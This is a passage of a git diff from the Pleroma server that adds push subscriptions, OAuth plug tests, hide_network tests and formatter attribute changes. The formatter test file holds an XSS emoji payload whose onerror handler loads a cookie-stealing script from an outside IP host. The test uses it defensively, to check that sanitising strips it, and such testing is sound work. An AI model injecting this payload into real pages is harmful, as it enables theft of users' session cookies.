"mogrify": {:hex, :mogrify, "0.6.1", "de1b527514f2d95a7bbe9642eb556061afb337e220cf97adbf3a4e6438ed70af", [:mix], [], "hexpm"},
"nimble_parsec": {:hex, :nimble_parsec, "0.4.0", "ee261bb53214943679422be70f1658fff573c5d0b0a1ecd0f18738944f818efe", [:mix], [], "hexpm"},
"parse_trans": {:hex, :parse_trans, "3.2.0", "2adfa4daf80c14dc36f522cf190eb5c4ee3e28008fc6394397c16f62a26258c2", [:rebar3], [], "hexpm"},
"pbkdf2_elixir": {:hex, :pbkdf2_elixir, "0.12.3", "6706a148809a29c306062862c803406e88f048277f6e85b68faf73291e820b84", [:mix], [], "hexpm"},
"phoenix": {:hex, :phoenix, "1.3.4", "aaa1b55e5523083a877bcbe9886d9ee180bf2c8754905323493c2ac325903dc5", [:mix], [{:cowboy, "~> 1.0", [hex: :cowboy, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 1.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.3.3 or ~> 1.4", [hex: :plug, repo: "hexpm", optional: false]}, {:poison, "~> 2.2 or ~> 3.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
"phoenix_ecto": {:hex, :phoenix_ecto, "3.3.0", "702f6e164512853d29f9d20763493f2b3bcfcb44f118af2bc37bb95d0801b480", [:mix], [{:ecto, "~> 2.1", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.9", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"phoenix_html": {:hex, :phoenix_html, "2.11.2", "86ebd768258ba60a27f5578bec83095bdb93485d646fc4111db8844c316602d6", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"phoenix_pubsub": {:hex, :phoenix_pubsub, "1.0.2", "bfa7fd52788b5eaa09cb51ff9fcad1d9edfeb68251add458523f839392f034c1", [:mix], [], "hexpm"},
"plug": {:hex, :plug, "1.6.2", "e06a7bd2bb6de5145da0dd950070110dce88045351224bd98e84edfdaaf5ffee", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}], "hexpm"},
"poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm"},
"poolboy": {:hex, :poolboy, "1.5.1", "6b46163901cfd0a1b43d692657ed9d7e599853b3b21b95ae5ae0a777cf9b6ca8", [:rebar], [], "hexpm"},
"postgrex": {:hex, :postgrex, "0.13.5", "3d931aba29363e1443da167a4b12f06dcd171103c424de15e5f3fc2ba3e6d9c5", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 1.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm"},
"ranch": {:hex, :ranch, "1.3.2", "e4965a144dc9fbe70e5c077c65e73c57165416a901bd02ea899cfd95aa890986", [:rebar3], [], "hexpm"},
"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.1", "28a4d65b7f59893bc2c7de786dec1e1555bd742d336043fe644ae956c3497fbe", [:make, :rebar], [], "hexpm"},
"tesla": {:hex, :tesla, "1.2.1", "864783cc27f71dd8c8969163704752476cec0f3a51eb3b06393b3971dc9733ff", [:mix], [{:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}], "hexpm"},
"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"tzdata": {:hex, :tzdata, "0.5.17", "50793e3d85af49736701da1a040c415c97dc1caf6464112fd9bd18f425d3053b", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
"unicode_util_compat": {:hex, :unicode_util_compat, "0.3.1", "a1f612a7b512638634a603c8f401892afbf99b8ce93a45041f8aaca99cadb85e", [:rebar3], [], "hexpm"},
"unsafe": {:hex, :unsafe, "1.0.0", "7c21742cd05380c7875546b023481d3a26f52df8e5dfedcb9f958f322baae305", [:mix], [], "hexpm"},
+ "web_push_encryption": {:hex, :web_push_encryption, "0.2.1", "d42cecf73420d9dc0053ba3299cc8c8d6ff2be2487d67ca2a57265868e4d9a98", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}, {:poison, "~> 3.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
}
diff --git a/priv/repo/migrations/20180918182427_create_push_subscriptions.exs b/priv/repo/migrations/20180918182427_create_push_subscriptions.exs
new file mode 100644
index 000000000..0cc7afa54
--- /dev/null
+++ b/priv/repo/migrations/20180918182427_create_push_subscriptions.exs
@@ -0,0 +1,18 @@
+defmodule Pleroma.Repo.Migrations.CreatePushSubscriptions do
+ use Ecto.Migration
+
+ def change do
+ create table("push_subscriptions") do
+ add :user_id, references("users", on_delete: :delete_all)
+ add :token_id, references("oauth_tokens", on_delete: :delete_all)
+ add :endpoint, :string
+ add :key_p256dh, :string
+ add :key_auth, :string
+ add :data, :map
+
+ timestamps()
+ end
+
+ create index("push_subscriptions", [:user_id, :token_id], unique: true)
+ end
+end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 5d745510f..abb9d882c 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -1,258 +1,260 @@
defmodule Pleroma.FormatterTest do
alias Pleroma.Formatter
alias Pleroma.User
use Pleroma.DataCase
import Pleroma.Factory
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
describe ".add_hashtag_links" do
test "turns hashtags into links" do
text = "I love #cofe and #2hu"
expected_text =
- "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
+ "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
tags = Formatter.parse_tags(text)
assert expected_text ==
Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
end
end
describe ".add_links" do
test "turning urls into links" do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://mastodon.social/@lambadalambda"
expected =
"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://mastodon.social:4000/@lambadalambda"
expected =
"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "@lambadalambda"
expected = "@lambadalambda"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "http://www.cs.vu.nl/~ast/intel/"
expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
expected =
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://pleroma.com https://pleroma.com/sucks"
expected =
"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "xmpp:contact@hacktivis.me"
expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text =
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
expected = "<a href=\"#{text}\">#{text}</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
end
end
describe "add_user_links" do
test "gives a replacement for user links" do
text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme =
insert(:user, %{
nickname: "archaeme",
info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archaeme"}}
})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
mentions = Pleroma.Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 3
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
expected_text =
- "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
- "https://archeme/@archaeme"
- }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
- archaeme_remote.ap_id
- }'>@<span>archaeme</span></a></span>"
+ "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
+ archaeme.id
+ }' class='mention' href='#{"https://archeme/@archaeme"}'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
+ archaeme_remote.id
+ }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
assert expected_text == Formatter.finalize({subs, text})
end
test "gives a replacement for user links when the user is using Osada" do
mike = User.get_or_fetch("mike@osada.macgirvin.com")
text = "@mike@osada.macgirvin.com test"
mentions = Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 1
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
expected_text =
- "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
+ "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
assert expected_text == Formatter.finalize({subs, text})
end
test "gives a replacement for single-character local nicknames" do
text = "@o hi"
o = insert(:user, %{nickname: "o"})
mentions = Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 1
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
- expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
+ expected_text =
+ "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
+
assert expected_text == Formatter.finalize({subs, text})
end
test "does not give a replacement for single-character local nicknames who don't exist" do
text = "@a hi"
mentions = Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 0
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
expected_text = "@a hi"
assert expected_text == Formatter.finalize({subs, text})
end
end
describe ".parse_tags" do
test "parses tags in the text" do
text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
expected = [
{"#Test", "test"},
{"#working", "working"},
{"#漢字", "漢字"},
{"#は", "は"}
]
assert Formatter.parse_tags(text) == expected
end
end
test "it can parse mentions and return the relevant users" do
text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_result = [
{"@gsimg", gsimg},
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote}
]
assert Formatter.parse_mentions(text) == expected_result
end
test "it adds cool emoji" do
text = "I love :moominmamma:"
expected_result =
"I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do
text = "I love :moominmamma:"
assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs
new file mode 100644
index 000000000..4dd12f207
--- /dev/null
+++ b/test/plugs/oauth_plug_test.exs
@@ -0,0 +1,56 @@
+defmodule Pleroma.Plugs.OAuthPlugTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ alias Pleroma.Plugs.OAuthPlug
+ import Pleroma.Factory
+
+ @session_opts [
+ store: :cookie,
+ key: "_test",
+ signing_salt: "cooldude"
+ ]
+
+ setup %{conn: conn} do
+ user = insert(:user)
+ {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create_token(insert(:oauth_app), user)
+ %{user: user, token: token, conn: conn}
+ end
+
+ test "with valid token(uppercase), it assigns the user", %{conn: conn} = opts do
+ conn =
+ conn
+ |> put_req_header("authorization", "BEARER #{opts[:token]}")
+ |> OAuthPlug.call(%{})
+
+ assert conn.assigns[:user] == opts[:user]
+ end
+
+ test "with valid token(downcase), it assigns the user", %{conn: conn} = opts do
+ conn =
+ conn
+ |> put_req_header("authorization", "bearer #{opts[:token]}")
+ |> OAuthPlug.call(%{})
+
+ assert conn.assigns[:user] == opts[:user]
+ end
+
+ test "with invalid token, it not assigns the user", %{conn: conn} do
+ conn =
+ conn
+ |> put_req_header("authorization", "bearer TTTTT")
+ |> OAuthPlug.call(%{})
+
+ refute conn.assigns[:user]
+ end
+
+ test "when token is missed but token in session, it assigns the user", %{conn: conn} = opts do
+ conn =
+ conn
+ |> Plug.Session.call(Plug.Session.init(@session_opts))
+ |> fetch_session()
+ |> put_session(:oauth_token, opts[:token])
+ |> OAuthPlug.call(%{})
+
+ assert conn.assigns[:user] == opts[:user]
+ end
+end
diff --git a/test/support/data_case.ex b/test/support/data_case.ex
index 8eff0fd94..9dde6b5e5 100644
--- a/test/support/data_case.ex
+++ b/test/support/data_case.ex
@@ -1,54 +1,71 @@
defmodule Pleroma.DataCase do
@moduledoc """
This module defines the setup for tests requiring
access to the application's data layer.
You may define functions here to be used as helpers in
your tests.
Finally, if the test case interacts with the database,
it cannot be async. For this reason, every test runs
inside a transaction which is reset at the beginning
of the test unless the test case is marked as async.
"""
use ExUnit.CaseTemplate
using do
quote do
alias Pleroma.Repo
import Ecto
import Ecto.Changeset
import Ecto.Query
import Pleroma.DataCase
end
end
setup tags do
Cachex.clear(:user_cache)
:ok = Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)
unless tags[:async] do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
:ok
end
+ def ensure_local_uploader(_context) do
+ uploader = Pleroma.Config.get([Pleroma.Upload, :uploader])
+ filters = Pleroma.Config.get([Pleroma.Upload, :filters])
+
+ unless uploader == Pleroma.Uploaders.Local || filters != [] do
+ Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local)
+ Pleroma.Config.put([Pleroma.Upload, :filters], [])
+
+ on_exit(fn ->
+ Pleroma.Config.put([Pleroma.Upload, :uploader], uploader)
+ Pleroma.Config.put([Pleroma.Upload, :filters], filters)
+ end)
+ end
+
+ :ok
+ end
+
@doc """
A helper that transform changeset errors to a map of messages.
changeset = Accounts.create_user(%{password: "short"})
assert "password is too short" in errors_on(changeset).password
assert %{password: ["password is too short"]} = errors_on(changeset)
"""
def errors_on(changeset) do
Ecto.Changeset.traverse_errors(changeset, fn {message, opts} ->
Enum.reduce(opts, message, fn {key, value}, acc ->
String.replace(acc, "%{#{key}}", to_string(value))
end)
end)
end
end
diff --git a/test/upload_test.exs b/test/upload_test.exs
index b2ce755d2..f2cad4cf0 100644
--- a/test/upload_test.exs
+++ b/test/upload_test.exs
@@ -1,152 +1,137 @@
defmodule Pleroma.UploadTest do
alias Pleroma.Upload
use Pleroma.DataCase
describe "Storing a file with the Local uploader" do
- setup do
- uploader = Pleroma.Config.get([Pleroma.Upload, :uploader])
- filters = Pleroma.Config.get([Pleroma.Upload, :filters])
-
- unless uploader == Pleroma.Uploaders.Local || filters != [] do
- Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local)
- Pleroma.Config.put([Pleroma.Upload, :filters], [])
-
- on_exit(fn ->
- Pleroma.Config.put([Pleroma.Upload, :uploader], uploader)
- Pleroma.Config.put([Pleroma.Upload, :filters], filters)
- end)
- end
-
- :ok
- end
+ setup [:ensure_local_uploader]
test "returns a media url" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "image.jpg"
}
{:ok, data} = Upload.store(file)
assert %{"url" => [%{"href" => url}]} = data
assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/")
end
test "returns a media url with configured base_url" do
base_url = "https://cache.pleroma.social"
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "image.jpg"
}
{:ok, data} = Upload.store(file, base_url: base_url)
assert %{"url" => [%{"href" => url}]} = data
assert String.starts_with?(url, base_url <> "/media/")
end
test "copies the file to the configured folder with deduping" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image.jpg"
}
{:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe])
assert List.first(data["url"])["href"] ==
Pleroma.Web.base_url() <>
"/media/e7a6d0cf595bff76f14c9a98b6c199539559e8b844e02e51e5efcfd1f614a2df.jpg"
end
test "copies the file to the configured folder without deduping" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image.jpg"
}
{:ok, data} = Upload.store(file)
assert data["name"] == "an [image.jpg"
end
test "fixes incorrect content type" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "application/octet-stream",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image.jpg"
}
{:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe])
assert hd(data["url"])["mediaType"] == "image/jpeg"
end
test "adds missing extension" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image"
}
{:ok, data} = Upload.store(file)
assert data["name"] == "an [image.jpg"
end
test "fixes incorrect file extension" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image.blah"
}
{:ok, data} = Upload.store(file)
assert data["name"] == "an [image.jpg"
end
test "don't modify filename of an unknown type" do
File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt")
file = %Plug.Upload{
content_type: "text/plain",
path: Path.absname("test/fixtures/test_tmp.txt"),
filename: "test.txt"
}
{:ok, data} = Upload.store(file)
assert data["name"] == "test.txt"
end
test "copies the file to the configured folder with anonymizing filename" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image_tmp.jpg"),
filename: "an [image.jpg"
}
{:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.AnonymizeFilename])
refute data["name"] == "an [image.jpg"
end
end
end
diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
index 980f43553..b4af2df5a 100644
--- a/test/web/activity_pub/activity_pub_controller_test.exs
+++ b/test/web/activity_pub/activity_pub_controller_test.exs
@@ -1,221 +1,249 @@
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
use Pleroma.Web.ConnCase
import Pleroma.Factory
alias Pleroma.Web.ActivityPub.{UserView, ObjectView}
alias Pleroma.{Repo, User}
alias Pleroma.Activity
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
describe "/relay" do
test "with the relay active, it returns the relay user", %{conn: conn} do
res =
conn
|> get(activity_pub_path(conn, :relay))
|> json_response(200)
assert res["id"] =~ "/relay"
end
test "with the relay disabled, it returns 404", %{conn: conn} do
Pleroma.Config.put([:instance, :allow_relay], false)
res =
conn
|> get(activity_pub_path(conn, :relay))
|> json_response(404)
Pleroma.Config.put([:instance, :allow_relay], true)
end
end
describe "/users/:nickname" do
test "it returns a json representation of the user", %{conn: conn} do
user = insert(:user)
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}")
user = Repo.get(User, user.id)
assert json_response(conn, 200) == UserView.render("user.json", %{user: user})
end
end
describe "/object/:uuid" do
test "it returns a json representation of the object", %{conn: conn} do
note = insert(:note)
uuid = String.split(note.data["id"], "/") |> List.last()
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note})
end
test "it returns 404 for non-public messages", %{conn: conn} do
note = insert(:direct_note)
uuid = String.split(note.data["id"], "/") |> List.last()
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert json_response(conn, 404)
end
end
describe "/inbox" do
test "it inserts an incoming activity into the database", %{conn: conn} do
data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!()
conn =
conn
|> assign(:valid_signature, true)
|> put_req_header("content-type", "application/activity+json")
|> post("/inbox", data)
assert "ok" == json_response(conn, 200)
:timer.sleep(500)
assert Activity.get_by_ap_id(data["id"])
end
end
describe "/users/:nickname/inbox" do
test "it inserts an incoming activity into the database", %{conn: conn} do
user = insert(:user)
data =
File.read!("test/fixtures/mastodon-post-activity.json")
|> Poison.decode!()
|> Map.put("bcc", [user.ap_id])
conn =
conn
|> assign(:valid_signature, true)
|> put_req_header("content-type", "application/activity+json")
|> post("/users/#{user.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
:timer.sleep(500)
assert Activity.get_by_ap_id(data["id"])
end
end
describe "/users/:nickname/outbox" do
test "it returns a note activity in a collection", %{conn: conn} do
note_activity = insert(:note_activity)
user = User.get_cached_by_ap_id(note_activity.data["actor"])
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
assert response(conn, 200) =~ note_activity.data["object"]["content"]
end
test "it returns an announce activity in a collection", %{conn: conn} do
announce_activity = insert(:announce_activity)
user = User.get_cached_by_ap_id(announce_activity.data["actor"])
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
assert response(conn, 200) =~ announce_activity.data["object"]
end
end
describe "/users/:nickname/followers" do
test "it returns the followers in a collection", %{conn: conn} do
user = insert(:user)
user_two = insert(:user)
User.follow(user, user_two)
result =
conn
|> get("/users/#{user_two.nickname}/followers")
|> json_response(200)
assert result["first"]["orderedItems"] == [user.ap_id]
end
+ test "it returns returns empty if the user has 'hide_network' set", %{conn: conn} do
+ user = insert(:user)
+ user_two = insert(:user, %{info: %{hide_network: true}})
+ User.follow(user, user_two)
+
+ result =
+ conn
+ |> get("/users/#{user_two.nickname}/followers")
+ |> json_response(200)
+
+ assert result["first"]["orderedItems"] == []
+ assert result["totalItems"] == 1
+ end
+
test "it works for more than 10 users", %{conn: conn} do
user = insert(:user)
Enum.each(1..15, fn _ ->
other_user = insert(:user)
User.follow(other_user, user)
end)
result =
conn
|> get("/users/#{user.nickname}/followers")
|> json_response(200)
assert length(result["first"]["orderedItems"]) == 10
assert result["first"]["totalItems"] == 15
assert result["totalItems"] == 15
result =
conn
|> get("/users/#{user.nickname}/followers?page=2")
|> json_response(200)
assert length(result["orderedItems"]) == 5
assert result["totalItems"] == 15
end
end
describe "/users/:nickname/following" do
test "it returns the following in a collection", %{conn: conn} do
user = insert(:user)
user_two = insert(:user)
User.follow(user, user_two)
result =
conn
|> get("/users/#{user.nickname}/following")
|> json_response(200)
assert result["first"]["orderedItems"] == [user_two.ap_id]
end
+ test "it returns returns empty if the user has 'hide_network' set", %{conn: conn} do
+ user = insert(:user, %{info: %{hide_network: true}})
+ user_two = insert(:user)
+ User.follow(user, user_two)
+
+ result =
+ conn
+ |> get("/users/#{user.nickname}/following")
+ |> json_response(200)
+
+ assert result["first"]["orderedItems"] == []
+ assert result["totalItems"] == 1
+ end
+
test "it works for more than 10 users", %{conn: conn} do
user = insert(:user)
Enum.each(1..15, fn _ ->
user = Repo.get(User, user.id)
other_user = insert(:user)
User.follow(user, other_user)
end)
result =
conn
|> get("/users/#{user.nickname}/following")
|> json_response(200)
assert length(result["first"]["orderedItems"]) == 10
assert result["first"]["totalItems"] == 15
assert result["totalItems"] == 15
result =
conn
|> get("/users/#{user.nickname}/following?page=2")
|> json_response(200)
assert length(result["orderedItems"]) == 5
assert result["totalItems"] == 15
end
end
end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index 7cd98cde8..092f0c9fc 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -1,1358 +1,1412 @@
defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Web.TwitterAPI.TwitterAPI
- alias Pleroma.{Repo, User, Activity, Notification}
+ alias Pleroma.{Repo, User, Object, Activity, Notification}
alias Pleroma.Web.{OStatus, CommonAPI}
alias Pleroma.Web.ActivityPub.ActivityPub
import Pleroma.Factory
import ExUnit.CaptureLog
import Tesla.Mock
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
test "the home timeline", %{conn: conn} do
user = insert(:user)
following = insert(:user)
{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/timelines/home")
assert length(json_response(conn, 200)) == 0
{:ok, user} = User.follow(user, following)
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/timelines/home")
assert [%{"content" => "test"}] = json_response(conn, 200)
end
test "the public timeline", %{conn: conn} do
following = insert(:user)
capture_log(fn ->
{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})
